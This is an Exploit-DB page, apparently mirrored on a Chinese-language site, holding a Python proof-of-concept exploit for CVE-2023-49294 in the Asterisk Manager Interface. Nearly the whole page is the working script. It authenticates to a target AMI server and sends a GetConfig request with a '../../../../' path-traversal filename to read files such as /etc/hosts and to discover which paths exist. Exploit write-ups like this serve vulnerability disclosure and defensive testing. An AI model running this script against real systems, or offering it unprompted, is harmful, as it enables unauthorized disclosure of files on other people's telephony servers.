Asterisk AMI – Partial File Content & Path Disclosure (Authenticated)

  • 作者: Sean Pesce
    日期: 2024-03-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51927/
  • # Exploit Title: Asterisk AMI - Partial File Content & Path Disclosure (Authenticated)
    # Date: 2023-03-26
    # Exploit Author: Sean Pesce
    # Vendor Homepage: https://asterisk.org/
    # Software Link: https://downloads.asterisk.org/pub/telephony/asterisk/old-releases/
    # Version: 18.20.0
    # Tested on: Debian Linux
    # CVE: CVE-2023-49294
    
    #!/usr/bin/env python3
    #
    # Proof of concept exploit for CVE-2023-49294, an authenticated vulnerability in Asterisk AMI that
    # facilitates filesystem enumeration (discovery of existing file paths) and limited disclosure of
    # file contents. Disclosed files must adhere to the Asterisk configuration format, which is similar
    # to the common INI configuration format.
    #
    # References:
    # https://nvd.nist.gov/vuln/detail/CVE-2023-49294
    # https://github.com/asterisk/asterisk/security/advisories/GHSA-8857-hfmw-vg8f
    # https://docs.asterisk.org/Asterisk_18_Documentation/API_Documentation/AMI_Actions/GetConfig/
    
    
    import argparse
    import getpass
    import socket
    import sys
    
    
    CVE_ID = 'CVE-2023-49294'
    
    DEFAULT_PORT = 5038
    DEFAULT_FILE = '/etc/hosts'
    DEFAULT_ACTION_ID = 0
    DEFAULT_TCP_READ_SZ = 1048576# 1MB
    
    
    
    def ami_msg(action, args, encoding='utf8'):
    assert type(action) == str, f'Invalid type for AMI Action (expected string): {type(action)}'
    assert type(args) == dict, f'Invalid type for AMI arguments (expected dict): {type(args)}'
    if 'ActionID' not in args:
    args['ActionID'] = 0
    line_sep = '\r\n'
    data = f'Action: {action}{line_sep}'
    for a in args:
    data += f'{a}: {args[a]}{line_sep}'
    data += line_sep
    return data.encode(encoding)
    
    
    
    def tcp_send_rcv(sock, data, read_sz=DEFAULT_TCP_READ_SZ):
    assert type(data) in (bytes, bytearray, memoryview), f'Invalid data type (expected bytes): {type(data)}'
    sock.sendall(data)
    resp = b''
    while not resp.endswith(b'\r\n\r\n'):
    resp += sock.recv(read_sz)
    return resp
    
    
    
    if __name__ == '__main__':
    # Parse command-line arguments
    argparser = argparse.ArgumentParser()
    argparser.add_argument('host', type=str, help='The host name or IP address of the Asterisk AMI server')
    argparser.add_argument('-p', '--port', type=int, help=f'Asterisk AMI TCP port (default: {DEFAULT_PORT})', default=DEFAULT_PORT)
    argparser.add_argument('-u', '--user', type=str, help=f'Asterisk AMI user', required=True)
    argparser.add_argument('-P', '--password', type=str, help=f'Asterisk AMI secret', default=None)
    argparser.add_argument('-f', '--file', type=str, help=f'File to read (default: {DEFAULT_FILE})', default=DEFAULT_FILE)
    argparser.add_argument('-a', '--action-id', type=int, help=f'Action ID (default: {DEFAULT_ACTION_ID})', default=DEFAULT_ACTION_ID)
    if '-h' in sys.argv or '--help' in sys.argv:
    print(f'Proof of concept exploit for {CVE_ID} in Asterisk AMI. More information here: \nhttps://nvd.nist.gov/vuln/detail/{CVE_ID}\n', file=sys.stderr)
    argparser.print_help()
    sys.exit(0)
    args = argparser.parse_args()
    
    # Validate command-line arguments
    assert 1 <= args.port <= 65535, f'Invalid port number: {args.port}'
    args.host = socket.gethostbyname(args.host)
    if args.password is None:
    args.password = getpass.getpass(f'[PROMPT] Enter the AMI password for {args.user}: ')
    
    print(f'[INFO] Proof of concept exploit for {CVE_ID}', file=sys.stderr)
    print(f'[INFO] Connecting to Asterisk AMI:{args.user}@{args.host}:{args.port}', file=sys.stderr)
    
    # Connect to the Asterisk AMI server
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.connect((args.host, args.port))
    
    # Read server banner
    banner = sock.recv(DEFAULT_TCP_READ_SZ)
    print(f'[INFO] Connected to {banner.decode("utf8").strip()}', file=sys.stderr)
    
    # Authenticate to the Asterisk AMI server
    login_msg = ami_msg('Login', {'Username':args.user,'Secret':args.password})
    login_resp = tcp_send_rcv(sock, login_msg)
    while b'Authentication' not in login_resp:
    login_resp = tcp_send_rcv(sock, b'')
    if b'Authentication accepted' not in login_resp:
    print(f'\n[ERROR] Invalid credentials: \n{login_resp.decode("utf8")}', file=sys.stderr)
    sys.exit(1)
    #print(f'[INFO] Authenticated: {login_resp.decode("utf8")}', file=sys.stderr)
    print(f'[INFO] Login success', file=sys.stderr)
    
    # Obtain file data via path traversal
    traversal = '../../../../../../../../'
    cfg_msg = ami_msg('GetConfig', {
    'ActionID': args.action_id,
    'Filename': f'{traversal}{args.file}',
    #'Category': 'default',
    #'Filter': 'name_regex=value_regex,',
    })
    resp = tcp_send_rcv(sock, cfg_msg)
    while b'Response' not in resp:
    resp = tcp_send_rcv(sock, b'')
    
    print(f'', file=sys.stderr)
    print(f'{resp.decode("utf8")}')
    
    if b'Error' in resp:
    sys.exit(1)
    
    pass# Done